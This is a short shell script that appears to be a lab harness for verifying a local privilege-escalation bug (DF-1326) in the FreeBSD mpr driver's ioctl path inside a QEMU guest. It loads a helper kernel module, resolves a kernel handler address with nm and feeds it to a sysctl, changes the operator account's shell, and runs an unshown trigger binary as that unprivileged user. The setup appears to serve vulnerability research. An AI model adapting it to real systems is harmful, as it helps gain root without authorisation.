#!/bin/sh
# DF-1326 pass-3 CANONICAL fresh-snapshot verification sequence.
# Executed on 2026-10-11 immediately after `vm.sh reset with-src`
# (fresh clean-source disk, vulnerable shipped kernel #0).
#
# Root-stages the instrumentation ONLY (the QEMU guest has no LSI
# SAS2008 HBA, so mpr_attach() can never instantiate the driver):
#   - builds + loads the df1326rig KLD (fake softc + 0640 root:operator
#     node + dispatch into the REAL compiled-in mpr_ioctl_devsw)
#   - primes the handler address by nm() of the running kernel binary
#   - gives the operator account a shell (instrumentation convenience)
# The trigger itself runs as the UNPRIVILEGED operator user (uid=2).
set -e
cd /root/rig

make SYSDIR=/usr/src/sys MACHINE=x86_64 MACHINE_ARCH=x86_64
cc -O -o trigger df1326rig_trigger.c
chmod 755 trigger /root /root/rig
kldload ./df1326rig.ko
ADDR=$(nm /boot/kernel/kernel | awk '/ t mpr_ioctl_devsw$/{print $1}')
echo "mpr_ioctl_devsw = 0x$ADDR"
sysctl -w kern.df1326rig_target=0x$ADDR
pw usermod operator -s /bin/sh

echo "=== fresh-snapshot probe (as unprivileged operator) ==="
su operator -c '/root/rig/trigger probe' 2>&1 |
    grep -E 'DF1326|uid=|ioctl|open ok'
echo "=== guest health after escalation ==="
uptime